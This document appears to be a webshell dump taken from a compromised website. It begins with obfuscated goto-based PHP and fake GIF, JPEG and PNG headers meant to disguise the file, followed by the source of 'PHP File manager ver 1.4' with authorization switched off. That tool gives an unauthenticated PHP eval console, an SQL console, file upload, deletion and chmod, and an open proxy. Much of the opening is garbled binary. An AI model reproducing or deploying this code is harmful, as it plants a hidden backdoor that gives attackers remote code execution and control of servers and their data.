����;��:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ��Ō;��Ō:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;栲�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;�֝�:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;����:$ה��=pow($ה��,$ה��*0xab/($ה��+0xb)*M_PI);goto ӽ��;�ڱ�:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$���=pow(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab/($ה��+0xab)*M_PI);goto ���;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;�Ѷ�:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ��Lj;�ĝ�:$����=0;goto ¨�;����:$����[$����]=����(0x02463,0x0246d,0x002432)(����(0x0000249d,0x00002489)($����[$����])-0x001);goto ����;��:$ה��=pow(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$ה��=�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$���=pow(round($���),$ה��*0xab/($���+0xab)*M_PI);goto �ĝ�;Ķ��:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;�ծ:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ᝪ�;��:goto ���;goto ��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto Ķ��;�Ө�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto �ݭ�;ݝ��:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab/($ה��+0xab)*M_PI);goto ���;��׭:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto 栲�;��̼:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$ה��=pow($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ц˚;��˂:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ��ś;ӽ��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab/($ה��+0xab)*M_PI);goto ��;ðل:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto Ö��;���:$���=pow(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ݝ��;χ��:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto 蜨�;����:}goto �IJ�;����:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab/($���+0xab)*M_PI);PK�Lm\��T:�L�L	iwdxk.phpnu�[���<!-- GIF89;a -->
<!-- GIF89;a -->
���� JFIF      �� � 	  	 

	



 "" $(4,$&1'-=-157:::#+?D?8C49:7




7%%77777777777777777777777777777777777777777777777777��  { �" ��               �� 5        !1AQa"q�2��BR��#b�������                ��                 ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1��
�����릟�@�#���RY�dqp� 
����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� �	3\�״ H SZ�g46�C��צ�ے	�b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>;
�e�4��5�k��/CB��.
 �J?��;�҈�������������������~�<�VZ�ꭼ2/)͔jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:ޠI��1"2�qװ8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ
B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r�����
Ď0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�?
�0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb�	��n��F������	��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m��<sŒÅá0™dkÈ.tc˜:z­G†:<FV2Zu“V

N(ëá’b&1K
¼Àë_Û{®®×ñ5ÇÁ(HæŒíh¡£{è.×€ˆˆˆ€ˆˆˆ€ˆˆˆ€ˆˆˆ€ˆˆˆƒ*~\<Pº7 ¸ºíÀi°ïê JT8–F
	 iëÝÏêÛZZÓ·”•'àÞöx¤–F5s²ì†
ñRÇ75ïNÊÒ&I,l‘ÐÀ–ZøË®ÅX¡Ìé½_$¸o‡(šg´Ë²ù¬5§5X?Sì¤ÂÇãø‹ñ†LvÆ6†µÛ]ïÙ|bGŒ<:ÂKœs OÜû­˜Ü\|+ H²YB&—ß›[ç×_nÔƒŸüO‰ŶÅAÞ¤nþÝ‚£_r½ÒHç¿W8Ù5VWÂ" """ """ """ """ ""ÈXY ê?Ë!¶ê4ùŽ–íuò ®8ŽG²1AöÞE´*ÁýÀM/á—¡‘Ù
œ$@"ÏÊj·åË©Vr;À‡ÅÄ[k0e­
såh>�)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��<html><head><meta http-equiv='Content-Type' content='text/html; charset=Windows-1251'><title>modskinlienminh.com - WSOX ENC</title>

‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

h25jguaT5*!‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

h25jguaT5*!<?php
/* PHP File manager ver 1.4 */

// Configuration — do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
